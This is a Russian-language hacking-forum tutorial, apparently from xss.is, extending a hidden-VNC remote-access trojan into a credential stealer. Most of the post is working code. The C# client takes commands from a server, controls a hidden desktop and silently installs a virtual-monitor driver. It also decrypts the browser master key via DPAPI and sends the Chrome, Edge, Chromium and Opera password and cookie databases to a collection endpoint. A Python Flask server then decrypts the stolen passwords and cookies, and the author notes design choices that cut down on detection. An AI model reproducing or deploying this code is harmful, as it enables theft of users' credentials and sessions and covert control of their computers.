D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В этой статье мы продолжаем улучшать наш HVNC, который мы писали в этой статье - https://xss.is/threads/115012/#post-807180, и потихоньку будем делать из него не просто HVNC, а полноценный RAT.
P.S. В данной статье будет предоставлен полностью рабочий код, но он достаточно грязный и с некоторыми недочетами. Возможно, у вас появится вопрос, почему же я не предоставлю сразу хороший код. Дело в том, что я пишу проект на заказ, а то, что я использую в своих статьях, является черновыми вариантами софта для заказчика. Я не могу показать полностью готовый проект по понятным причинам. Но всё же хочу показать вам основы того, как вы можете реализовать подобный проект самостоятельно, так что я крайне не рекомендую просто бездумно брать мой код, а советую вчитываться в описание, которое я предоставляю.
Вне написания статьи я незначительно изменил код HVNC, вот список того, что было изменено в коде:
C#: Скопировать в буфер обмена
Раньше в этом отрывке кода были части, которые отвечали за принятие команд, таких как запуск HVNC и запуск браузера. Теперь же в нем нет этого кода, он перенесен в отдельные файлы, а здесь лишь происходит вызов этих методов.
Вот пример:
C#: Скопировать в буфер обмена
Этот код означает, что если принятая команда определена как start_hvnc, то асинхронно вызывается функция StartHVNC, которая в данном случае находится в файле HVNC в internal class HVNC. Понять, что вызов происходит асинхронно, вы можете по слову "await", ну и потому что в названии метода, в котором находится этот код, присутствует async Task.
Вот сама вызываемая функция:
C#: Скопировать в буфер обмена
В данном коде внесены определенные изменения. Например, опять же добавлена асинхронность в метод. Также раньше драйвер виртуального монитора просто скачивался и запускался, затем создавалась форма, а в ней уже запускался хром. Теперь же после скачивания драйвера происходит изменение настроек разрешения будущего виртуального монитора.
За это отвечает этот код:
C#: Скопировать в буфер обмена
В самом начале находятся переменные, в которых хранится путь в реестре, по которому находится параметр по умолчанию. В этом параметре хранится разрешение создаваемых мониторов. Данный код находит этот параметр по умолчанию и меняет его значения на 1024x768.
Теперь же я хочу показать, как я сделал прибавление координат по x для того, чтобы эмуляция происходила на нужном мониторе. Напомню, что раньше не было расчёта пикселей по x, а просто приписывалось конкретное число, то есть если бы у клиента было разрешение монитора не такое, как я указал, то эмуляция происходила бы некорректно.
C#: Скопировать в буфер обмена
В данном коде происходит получение всех мониторов, затем из всех мониторов вычитается последний, а затем ширина всех этих мониторов (кроме последнего) прибавляется к полученным с сервера координатам. Таким образом, мышь будет эмулироваться именно на последнем мониторе, который и является нашим виртуальным.
В принципе, самое интересное из изменений я показал. Теперь приступим к пополнению функционала в нашем проекте, а именно — добавление сбора паролей и куки из браузера Chrome.
Для начала объясню, как это вообще работает, а затем покажу простые примеры реализации, затем будем уже писать полноценный код.
Для того чтобы расшифровать пароли из браузера, нам для начала нужно узнать, где они хранятся. В данном случае будем рассматривать браузер Chrome. Его пароли находятся по такому пути: AppData\Local\Google\Chrome\User Data\Default внутри файла Login Data. Login Data — это, по факту, база данных, у которой просто не указан формат файла, а формат у неё должен быть .db. То есть для его открытия мы будем в будущем использовать SQLite.
В базе данных пароли, конечно же, зашифрованы, и просто вытащить их и отправить у нас не получится. Пароли зашифрованы с использованием AES. Как шифровать с помощью AES я уже показывал в предыдущей своей теме о том, как сделать облако файлов. Теперь же рассмотрим его расшифровку.
Так как пароли зашифрованы через AES, то для расшифровки нам потребуется ключ. Ключ находится в AppData\Local\Google\Chrome\User Data внутри файла Local State
Объясняю, как получить корректный ключ для расшифровки:
В Local State находится JSON, нам потребуется читать его и находить в нём encrypted_key, в нём будет храниться ключ. Но не всё так просто, опять же. Этот ключ также зашифрован, и в нём находятся символы, которые нам не нужны, и они не являются частью ключа. А именно это первые 5 байтов ключа. В этих байтах хранится слово DPAPI. Поэтому перед расшифровкой нам потребуется для начала конвертировать ключ из base64 в байты, вырезать первые 5 байтов, затем конвертировать это обратно в base64 и расшифровать полученный обрезанный ключ, используя DPAPI. После этого мы получим полноценный ключ для расшифровки.
Также хочу уточнить, что DPAPI нельзя просто взять и расшифровать на стороне сервера, поэтому нам придётся расшифровывать его на клиенте, чтобы получить ключ. А вот AES можно расшифровать в любом месте, поэтому мы будем расшифровывать ключ на клиенте, передавать его вместе с зашифрованными паролями на сервер, и уже на сервере будем расшифровывать пароли с помощью полученного ключа. Таким образом, на клиенте будет проходить меньше подозрительных действий, что явно положительно скажется на детекте.
Теперь ещё раз по пунктам разложу, как будет происходить расшифровка ключа:
В столбце с паролем находится не только сам пароль, а также бесполезные для нас символы и IV.
IV — это случайные или псевдослучайные символы, которые помогают сделать уникальное шифрование данных и исключить повторение. Возможно, определение не самое точное, но как минимум даёт примерно понять, что это и для чего.
Теперь подробнее о том, где это всё в строке пароля находится:
Получение и расшифровка ключа:
C#: Скопировать в буфер обмена
Python: Скопировать в буфер обмена
Для начала дополним клиент так, чтобы он мог собирать пароли и куки и отправлять их вместе с ключом.
C#: Скопировать в буфер обмена
Теперь, когда мы написали и разобрали метод, нужно его где-то вызывать. Мне кажется лучшим вариантом будет при первичном запуске клиента, то есть когда уникальный идентификатор не найден и клиент его создает. Вот как это выглядит в коде:
C#: Скопировать в буфер обмена
Рассмотрим теперь серверную часть кода, которая будет принимать JSON и расшифровывать AES.
Python: Скопировать в буфер обмена
Теперь рассмотрим этот код по частям.
Python: Скопировать в буфер обмена
В данном коде сначала создается временная база данных, далее к базе данных происходит подключение. В базе данных берутся данные из этих столбцов:
Python: Скопировать в буфер обмена
После чего вызывается функция для расшифровки:
Python: Скопировать в буфер обмена
После этого происходит запись данных из столбцов базы данных в определенном порядке:
Python: Скопировать в буфер обмена
Так и получается готовый файл куки. Хочу отметить, что очень важен порядок при записи в текстовый файл, так как если поменять хоть какой-то параметр местами, куки просто не будут корректно загружаться.
На этом весь код заканчивается. Хотел бы дать пару советов по улучшению для тех, кто хочет попробовать написать подобное программное обеспечение:
Скорее всего, это будет последней статьей на эту тему, так как дальше пойдут лишь улучшения, которые я не могу показать, так как все изменения будут предназначены для проекта на заказ. Помните, предоставленный мной код нужен лишь для ознакомления, а не для использования на практике, поэтому не копируйте бездумно мой код, если хотите чему-то научиться.
Статья написана CognitoInc специально для форума xss.is
P.S. В данной статье будет предоставлен полностью рабочий код, но он достаточно грязный и с некоторыми недочетами. Возможно, у вас появится вопрос, почему же я не предоставлю сразу хороший код. Дело в том, что я пишу проект на заказ, а то, что я использую в своих статьях, является черновыми вариантами софта для заказчика. Я не могу показать полностью готовый проект по понятным причинам. Но всё же хочу показать вам основы того, как вы можете реализовать подобный проект самостоятельно, так что я крайне не рекомендую просто бездумно брать мой код, а советую вчитываться в описание, которое я предоставляю.
Вне написания статьи я незначительно изменил код HVNC, вот список того, что было изменено в коде:
- Все функции в клиенте были переделаны на асинхронную работу, это помогло работе трансляции, так как раньше скриншоты отображались на трансляции не по порядку друг за другом, а путались и иногда показывались кадры, которые уже давно прошли. Теперь же трансляция работает корректно.
- Была переделана функция для установки драйвера виртуального монитора. Раньше монитор был с разрешением 1920 на 1080, теперь же он 1024 на 768, это позволяет делать скриншоты меньшего размера, из-за чего скриншоты быстрее отправляются с клиента на сервер и сервер быстрее их принимает.
- Добавлено несколько команд, которые отправляет сервер и принимает клиент, например, команда для остановки HVNC.
- Немного был изменен порядок запуска HVNC. Раньше при создании формы и только после запуска в ней браузера начинался запуск трансляции, теперь трансляция начинается после открытия формы.
- Добавлен запуск файлового менеджера Windows.
- Весь код клиента был разделен на несколько файлов для лучшей читаемости кода.
- Прибавление координат при эмуляции мыши по x было перенесено с сервера на клиент нормальным методом, который рассчитывает сам расстояние, а не указанием вручную.
- Добавлена эмуляция клавиатуры.
C#: Скопировать в буфер обмена
Код:
public static async Task SendPostRequestAsync(string url, string data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "POST";
request.ContentType = "application/json";
using (StreamWriter streamWriter = new StreamWriter(await request.GetRequestStreamAsync()))
{
string json = JsonConvert.SerializeObject(new { unique_id = data });
await streamWriter.WriteAsync(json);
}
using (HttpWebResponse response = (HttpWebResponse)await request.GetResponseAsync())
{
using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
{
string result = await streamReader.ReadToEndAsync();
Console.WriteLine("Ответ от сервера: " + result);
dynamic responseObject = JsonConvert.DeserializeObject(result);
if (responseObject.command != null && responseObject.command.ToString().StartsWith("move_mouse"))
{
await HVNC.MoveMouse(responseObject.command.ToString());
}
if (responseObject.command != null && responseObject.command.ToString().StartsWith("press_key"))
{
string command = responseObject.command.ToString();
string keyCodeString = command.Substring("press_key ".Length);
if (int.TryParse(keyCodeString, out int keyCode))
{
Console.WriteLine("Код нажатой клавиши: " + keyCode);
SimulateKeyPress(keyCode);
}
else
{
Console.WriteLine("Не удалось распознать код клавиши: " + keyCodeString);
}
}
if (responseObject.command != null && responseObject.command == "start_hvnc")
{
await HVNC.StartHVNC(responseObject.command.ToString());
}
if (responseObject.command != null && responseObject.command == "stop_hvnc")
{
await HVNC.StopHVNC(responseObject.command.ToString());
}
if (responseObject.command != null && responseObject.command == "start_hvnc_chrome")
{
await ChromeComands.StartChrome(responseObject.command.ToString());
}
if (responseObject.command != null && responseObject.command == "start_hvnc_explorer")
{
await ExplorerCommands.StartExplorer(responseObject.command.ToString());
}
}
}
}
catch (WebException e)
{
if (e.Response is HttpWebResponse response)
{
using (StreamReader reader = new StreamReader(response.GetResponseStream()))
{
string errorText = reader.ReadToEnd();
Console.WriteLine($"Ошибка: {errorText}");
}
}
else
{
Console.WriteLine($"Нет ответа от сервера: {e.Message}");
}
}
}
Вот пример:
C#: Скопировать в буфер обмена
Код:
if (responseObject.command != null && responseObject.command == "start_hvnc")
{
await HVNC.StartHVNC(responseObject.command.ToString());
}
Вот сама вызываемая функция:
C#: Скопировать в буфер обмена
Код:
public static async Task StartHVNC(string command)
{
try
{
Console.WriteLine("Запускаем HVNC.");
string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string zipFilePath = Path.Combine(monitorDriverPath, "monitor.zip");
string deviceInstallerPath = Path.Combine(monitorDriverPath, "deviceinstaller64.exe");
if (!Directory.Exists(monitorDriverPath))
{
Directory.CreateDirectory(monitorDriverPath);
}
if (!File.Exists(deviceInstallerPath))
{
using (WebClient webClient = new WebClient())
{
await webClient.DownloadFileTaskAsync(new Uri("{ip}/download_monitor"), zipFilePath);
ZipFile.ExtractToDirectory(zipFilePath, monitorDriverPath);
}
File.Delete(zipFilePath);
}
var cmd = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 install usbmmidd.inf usbmmidd",
UseShellExecute = false,
CreateNoWindow = true
}
};
cmd.Start();
cmd.WaitForExit();
string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF\Services\usbmmIdd\Parameters\Monitors";
string valueName = "(По умолчанию)";
string valueData = "1024,768";
try
{
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath, true))
{
if (key == null)
{
using (RegistryKey newKey = Registry.LocalMachine.CreateSubKey(registryPath))
{
newKey.SetValue(valueName, valueData, RegistryValueKind.String);
}
}
else
{
key.SetValue(valueName, valueData, RegistryValueKind.String);
}
}
Console.WriteLine("Значение успешно записано в реестр.");
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при записи в реестр: {ex.Message}");
}
cmd = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/C cd /d \"{monitorDriverPath}\" && deviceinstaller64 enableidd 1",
UseShellExecute = false,
CreateNoWindow = true
}
};
cmd.Start();
cmd.WaitForExit();
foreach (var screen in Screen.AllScreens)
{
Console.WriteLine($"Монитор: {screen.DeviceName}, Разрешение: {screen.Bounds.Width}x{screen.Bounds.Height}");
}
Variables.lastScreen = Screen.AllScreens[Screen.AllScreens.Length - 1];
Console.WriteLine($"Последний монитор: {Variables.lastScreen.DeviceName}, Разрешение: {Variables.lastScreen.Bounds.Width}x{Variables.lastScreen.Bounds.Height}");
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Variables.hvncForm = new Form
{
StartPosition = FormStartPosition.Manual,
FormBorderStyle = FormBorderStyle.None,
Location = Variables.lastScreen.Bounds.Location,
Size = new System.Drawing.Size(Variables.lastScreen.Bounds.Width, Variables.lastScreen.Bounds.Height),
ShowInTaskbar = false
};
Variables.hvncForm.Load += async (sender, e) =>
{
IntPtr formHandle = Variables.hvncForm.Handle;
Console.WriteLine($"Дескриптор формы: {formHandle}");
await Translations.ScreenshotCallbackAsync();
};
Application.Run(Variables.hvncForm);
}
catch (Exception ex)
{
Console.WriteLine("Ошибка при запуске HVNC: " + ex.Message);
}
}
За это отвечает этот код:
C#: Скопировать в буфер обмена
Код:
string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF\Services\usbmmIdd\Parameters\Monitors";
string valueName = "(По умолчанию)";
string valueData = "1024,768";
try
{
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath, true))
{
if (key == null)
{
using (RegistryKey newKey = Registry.LocalMachine.CreateSubKey(registryPath))
{
newKey.SetValue(valueName, valueData, RegistryValueKind.String);
}
}
else
{
key.SetValue(valueName, valueData, RegistryValueKind.String);
}
}
Console.WriteLine("Значение успешно записано в реестр.");
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при записи в реестр: {ex.Message}");
}
Теперь же я хочу показать, как я сделал прибавление координат по x для того, чтобы эмуляция происходила на нужном мониторе. Напомню, что раньше не было расчёта пикселей по x, а просто приписывалось конкретное число, то есть если бы у клиента было разрешение монитора не такое, как я указал, то эмуляция происходила бы некорректно.
C#: Скопировать в буфер обмена
Код:
var allScreens = Screen.AllScreens;
int totalXOffset = 0;
for (int i = 0; i < allScreens.Length - 1; i++)
{
totalXOffset += allScreens[i].Bounds.Width;
}
x += totalXOffset;
Cursor.Position = new Point(x, y);
В принципе, самое интересное из изменений я показал. Теперь приступим к пополнению функционала в нашем проекте, а именно — добавление сбора паролей и куки из браузера Chrome.
Для начала объясню, как это вообще работает, а затем покажу простые примеры реализации, затем будем уже писать полноценный код.
Для того чтобы расшифровать пароли из браузера, нам для начала нужно узнать, где они хранятся. В данном случае будем рассматривать браузер Chrome. Его пароли находятся по такому пути: AppData\Local\Google\Chrome\User Data\Default внутри файла Login Data. Login Data — это, по факту, база данных, у которой просто не указан формат файла, а формат у неё должен быть .db. То есть для его открытия мы будем в будущем использовать SQLite.
В базе данных пароли, конечно же, зашифрованы, и просто вытащить их и отправить у нас не получится. Пароли зашифрованы с использованием AES. Как шифровать с помощью AES я уже показывал в предыдущей своей теме о том, как сделать облако файлов. Теперь же рассмотрим его расшифровку.
Так как пароли зашифрованы через AES, то для расшифровки нам потребуется ключ. Ключ находится в AppData\Local\Google\Chrome\User Data внутри файла Local State
Объясняю, как получить корректный ключ для расшифровки:
В Local State находится JSON, нам потребуется читать его и находить в нём encrypted_key, в нём будет храниться ключ. Но не всё так просто, опять же. Этот ключ также зашифрован, и в нём находятся символы, которые нам не нужны, и они не являются частью ключа. А именно это первые 5 байтов ключа. В этих байтах хранится слово DPAPI. Поэтому перед расшифровкой нам потребуется для начала конвертировать ключ из base64 в байты, вырезать первые 5 байтов, затем конвертировать это обратно в base64 и расшифровать полученный обрезанный ключ, используя DPAPI. После этого мы получим полноценный ключ для расшифровки.
Также хочу уточнить, что DPAPI нельзя просто взять и расшифровать на стороне сервера, поэтому нам придётся расшифровывать его на клиенте, чтобы получить ключ. А вот AES можно расшифровать в любом месте, поэтому мы будем расшифровывать ключ на клиенте, передавать его вместе с зашифрованными паролями на сервер, и уже на сервере будем расшифровывать пароли с помощью полученного ключа. Таким образом, на клиенте будет проходить меньше подозрительных действий, что явно положительно скажется на детекте.
Теперь ещё раз по пунктам разложу, как будет происходить расшифровка ключа:
- Получение ключа из Local State
- Перевод ключа из base64 в байты
- Обрезание первых 5 байтов
- Перевод обратно в base64
- Расшифровка через DPAPI
В столбце с паролем находится не только сам пароль, а также бесполезные для нас символы и IV.
IV — это случайные или псевдослучайные символы, которые помогают сделать уникальное шифрование данных и исключить повторение. Возможно, определение не самое точное, но как минимум даёт примерно понять, что это и для чего.
Теперь подробнее о том, где это всё в строке пароля находится:
- Первые 3 символа — это мусор, его мы будем удалять
- Затем, после 3 символа и до 15 символа идёт IV, его мы будем сохранять, так как он потребуется для расшифровки
- После 15 символа уже идёт сам зашифрованный пароль
Получение и расшифровка ключа:
C#: Скопировать в буфер обмена
Код:
using System;
using System.IO;
using Newtonsoft.Json.Linq;
using System.Text;
using System.Linq;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
try
{
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");
if (File.Exists(localStatePath))
{
string localStateData = File.ReadAllText(localStatePath);
dynamic json = JObject.Parse(localStateData);
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser);
string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");
}
else
{
Console.WriteLine("Файл Local State не найден");
}
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка: {ex.Message}");
}
Console.ReadKey();
}
}
- C#: Скопировать в буфер обмена
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Local State");
Указывает путь до файла с ключом - C#: Скопировать в буфер обмена
string localStateData = File.ReadAllText(localStatePath);
Считывает данные из файла - C#: Скопировать в буфер обмена
dynamic json = JObject.Parse(localStateData);
Преобразует содержимое файла в json - C#: Скопировать в буфер обмена
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
Ищет ключ по encrypted_key - C#: Скопировать в буфер обмена
byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
Декодирует ключ из base64 в байты - C#: Скопировать в буфер обмена
byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
Удаляет первые 5 байтов - C#: Скопировать в буфер обмена
Код:byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser); string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey); Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");
Python: Скопировать в буфер обмена
Код:
import sqlite3
import base64
from Crypto.Cipher import AES
def decrypt_password(buffer, master_key):
try:
iv = buffer[3:15]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)[:-16].decode()
return decrypted_pass
except Exception as e:
return f"Error decrypting password: {e}"
def main():
login_data_path = ""
connection = sqlite3.connect(login_data_path)
cursor = connection.cursor()
cursor.execute("SELECT password_value FROM logins")
for row in cursor.fetchall():
encrypted_password = row[0]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("Decrypted Password:", decrypted_password)
connection.close()
if __name__ == "__main__":
master_key_base64 = ""
master_key = base64.b64decode(master_key_base64)
main()
- Python: Скопировать в буфер обмена
Код:def decrypt_password(buffer, master_key): try: iv = buffer[3:15] payload = buffer[15:] cipher = AES.new(master_key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload)[:-16].decode() return decrypted_pass except Exception as e: return f"Error decrypting password: {e}"
- Python: Скопировать в буфер обмена
login_data_path
Путь до файла базы данных с паролями - Python: Скопировать в буфер обмена
Код:connection = sqlite3.connect(login_data_path) cursor = connection.cursor()
- Python: Скопировать в буфер обмена
cursor.execute("SELECT password_value FROM logins")
Выполнения запроса к таблице logins а внутри нее к столбцу password_value - Python: Скопировать в буфер обмена
master_key_base64
Ключ в формате бейс 64 - Python: Скопировать в буфер обмена
master_key = base64.b64decode(master_key_base64)
Декодирование ключа в байты
Для начала дополним клиент так, чтобы он мог собирать пароли и куки и отправлять их вместе с ключом.
- Первым делом создадим метод BrowserGrabber.
- Внутри метода укажем словарь до основных папок браузера, где находится файл с ключом.
C#: Скопировать в буфер обмена
Код:Dictionary<string, string> browserPaths = new Dictionary<string, string>{ { "Google Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data") }, { "Microsoft Edge", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data") }, { "Chromium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Chromium\User Data") }, { "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Opera Software\Opera Stable") } };
- Создаем основной JSON объект в котором будет храниться вся информация.
C#: Скопировать в буфер обмена
JObject mainJson = new JObject();
- Так же в цикле foreach считываем содержимое из файла с ключом
C#: Скопировать в буфер обмена
string localStateData = File.ReadAllText(localStatePath);
- Преобразуем полученное содержимое в json
C#: Скопировать в буфер обмена
dynamic json = JObject.Parse(localStateData);
- Ищем в содержимом ключ
C#: Скопировать в буфер обмена
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
- Декодируем полученный ключ в байты
C#: Скопировать в буфер обмена
byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
- Удаляем первые 5 байтов
C#: Скопировать в буфер обмена
byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
- Расшифровка ключа через DPAPI
C#: Скопировать в буфер обмена
byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser); string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
- Создание объекта для браузера чей ключ был найден
C#: Скопировать в буфер обмена
Код:JObject browserJson = new JObject{ ["key"] = decryptedKeyBase64 };
- Рекурсивный поиск файла с куки и паролями.
C#: Скопировать в буфер обмена
var loginDataFiles = Directory.GetFiles(userDataPath, "Login Data", SearchOption.AllDirectories);var cookiesFiles = Directory.GetFiles(userDataPath, "Cookies", SearchOption.AllDirectories);
- Найденные файлы конвертируются в base64 а затем добавляются в json объект браузера
C#: Скопировать в буфер обмена
Код:JArray loginDataArray = new JArray(); foreach (var loginDataPath in loginDataFiles) { try { if (File.Exists(loginDataPath)) { byte[] loginDataBytes = File.ReadAllBytes(loginDataPath); string loginDataBase64 = Convert.ToBase64String(loginDataBytes); loginDataArray.Add(loginDataBase64); } } catch (Exception ex) { Console.WriteLine($"Не удалось получить доступ к файлу Login Data: {loginDataPath}. Ошибка: {ex.Message}"); continue; } } browserJson["login_data"] = loginDataArray;
- Тоже самое для файла с куки
C#: Скопировать в буфер обмена
Код:JArray cookiesArray = new JArray(); foreach (var cookiesPath in cookiesFiles) { try { if (File.Exists(cookiesPath)) { byte[] cookiesDataBytes = File.ReadAllBytes(cookiesPath); string cookiesDataBase64 = Convert.ToBase64String(cookiesDataBytes); cookiesArray.Add(cookiesDataBase64); } } catch (Exception ex) { Console.WriteLine($"Не удалось получить доступ к файлу Cookies: {cookiesPath}. Ошибка: {ex.Message}"); continue; } } browserJson["cookies"] = cookiesArray;
- После записи всех нужных данных в объект браузера, объект браузера добавляется в основной объект:
C#: Скопировать в буфер обмена
mainJson[browserName] = browserJson;
Так как весь этот код находится в цикле foreach, этот код будет повторяться из раза в раз, пока не закончится весь список из словаря с путями. - Отправка JSON на сервер на адрес browser_log плюс уникальный идентификатор пользователя:
C#: Скопировать в буфер обмена
await SendPostRequestAsync($"{Variables.ip}/browser_log/{Variables.uniqueId}", mainJson.ToString());
C#: Скопировать в буфер обмена
Код:
static async Task BrowserGrabber()
{
try
{
Dictionary<string, string> browserPaths = new Dictionary<string, string>
{
{ "Google Chrome", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data") },
{ "Microsoft Edge", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data") },
{ "Chromium", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Chromium\User Data") },
{ "Opera", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Opera Software\Opera Stable") }
};
JObject mainJson = new JObject();
foreach (var browser in browserPaths)
{
string browserName = browser.Key;
string userDataPath = browser.Value;
Console.WriteLine($"Используется браузер: {browserName}");
Console.WriteLine($"Путь к папке User Data: {userDataPath}");
string localStatePath = Path.Combine(userDataPath, "Local State");
if (File.Exists(localStatePath))
{
string localStateData = File.ReadAllText(localStatePath);
dynamic json = JObject.Parse(localStateData);
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);
byte[] trimmedKey = encryptedKey.Skip(5).ToArray();
byte[] decryptedKey = ProtectedData.Unprotect(trimmedKey, null, DataProtectionScope.CurrentUser);
string decryptedKeyBase64 = Convert.ToBase64String(decryptedKey);
Console.WriteLine($"Расшифрованный ключ (Base64): {decryptedKeyBase64}");
JObject browserJson = new JObject
{
["key"] = decryptedKeyBase64
};
var loginDataFiles = Directory.GetFiles(userDataPath, "Login Data", SearchOption.AllDirectories);
var cookiesFiles = Directory.GetFiles(userDataPath, "Cookies", SearchOption.AllDirectories);
JArray loginDataArray = new JArray();
foreach (var loginDataPath in loginDataFiles)
{
try
{
if (File.Exists(loginDataPath))
{
byte[] loginDataBytes = File.ReadAllBytes(loginDataPath);
string loginDataBase64 = Convert.ToBase64String(loginDataBytes);
loginDataArray.Add(loginDataBase64);
}
}
catch (Exception ex)
{
Console.WriteLine($"Не удалось получить доступ к файлу Login Data: {loginDataPath}. Ошибка: {ex.Message}");
continue;
}
}
browserJson["login_data"] = loginDataArray;
JArray cookiesArray = new JArray();
foreach (var cookiesPath in cookiesFiles)
{
try
{
if (File.Exists(cookiesPath))
{
byte[] cookiesDataBytes = File.ReadAllBytes(cookiesPath);
string cookiesDataBase64 = Convert.ToBase64String(cookiesDataBytes);
cookiesArray.Add(cookiesDataBase64);
}
}
catch (Exception ex)
{
Console.WriteLine($"Не удалось получить доступ к файлу Cookies: {cookiesPath}. Ошибка: {ex.Message}");
continue;
}
}
browserJson["cookies"] = cookiesArray;
mainJson[browserName] = browserJson;
}
else
{
Console.WriteLine($"Файл Local State для браузера {browserName} не найден");
}
}
await SendPostRequestAsync($"{Variables.ip}/browser_log/{Variables.uniqueId}", mainJson.ToString());
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка: {ex.Message}");
}
}
Теперь, когда мы написали и разобрали метод, нужно его где-то вызывать. Мне кажется лучшим вариантом будет при первичном запуске клиента, то есть когда уникальный идентификатор не найден и клиент его создает. Вот как это выглядит в коде:
C#: Скопировать в буфер обмена
Код:
// Загрузка или создание уникального идентификатора
if (File.Exists(filePath))
{
Variables.uniqueId = File.ReadAllText(filePath).Trim(); // Загрузка уникального идентификатора из файла
}
else
{
Variables.uniqueId = Guid.NewGuid().ToString(); // Генерация нового уникального идентификатора
await WriteToFileAsync(filePath, Variables.uniqueId); // Запись уникального идентификатора в файл
await SendPostRequestAsync($"{Variables.ip}/receive_id", Variables.uniqueId); // Отправка уникального идентификатора на сервер
await BrowserGrabber(); // Вызов сбора файлов браузера и расшифровки ключа
}
Рассмотрим теперь серверную часть кода, которая будет принимать JSON и расшифровывать AES.
Python: Скопировать в буфер обмена
Код:
def decrypt_password(buffer, master_key):
try:
iv = buffer[3:15]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)[:-16].decode()
return decrypted_pass
except Exception as e:
return f"Error decrypting password: {e}"
def decrypt_cookie(buffer, master_key):
try:
iv = buffer[3:15]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_cookie = cipher.decrypt(payload)[:-16].decode()
return decrypted_cookie
except Exception as e:
return f"Error decrypting cookie: {e}"
def process_cookies(cookies_db, master_key, cookies_file_path):
try:
cookies_list = ''
temp_cookies_db = os.path.join(os.path.dirname(cookies_file_path), f"temp_cookies_db_{time.time()}.db")
with open(temp_cookies_db, "wb") as f:
f.write(cookies_db)
conn = sqlite3.connect(temp_cookies_db)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")
for item in cursor.fetchall():
try:
decrypted_value = decrypt_cookie(item[2], master_key)
if decrypted_value:
cookies_list += f'{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n'
except sqlite3.Error as e:
print(f"Error cookies: {e}")
conn.close()
os.remove(temp_cookies_db)
if cookies_list:
with open(cookies_file_path, 'w') as cookies_file:
cookies_file.write(cookies_list)
except Exception as e:
print(f"Error cookies: {e}")
@app.route('/browser_log/<unique_id>', methods=['POST'])
def receive_browser_log(unique_id):
try:
data = request.json
if data is None or not isinstance(data, dict):
return json.dumps({'error': 'Некорректный формат данных.'}, ensure_ascii=False), 400
client_data_str = data.get("Client")
if client_data_str is None:
return json.dumps({'error': 'Данные для браузеров отсутствуют в запросе.'}, ensure_ascii=False), 400
client_data = json.loads(client_data_str)
unique_id_logs_dir = os.path.join(app.root_path, 'logs', unique_id)
os.makedirs(unique_id_logs_dir, exist_ok=True)
passwords_file_path = os.path.join(unique_id_logs_dir, 'passwords.txt')
with open(passwords_file_path, 'w') as passwords_file:
for browser_name, browser_data in client_data.items():
key_base64 = browser_data.get("key")
if key_base64 is None:
print(f'В браузере {browser_name} отсутствует ключ.')
continue
key = base64.b64decode(key_base64)
for param_name, param_value in browser_data.items():
if param_name == "key":
continue
if isinstance(param_value, list):
for idx, file_data in enumerate(param_value):
try:
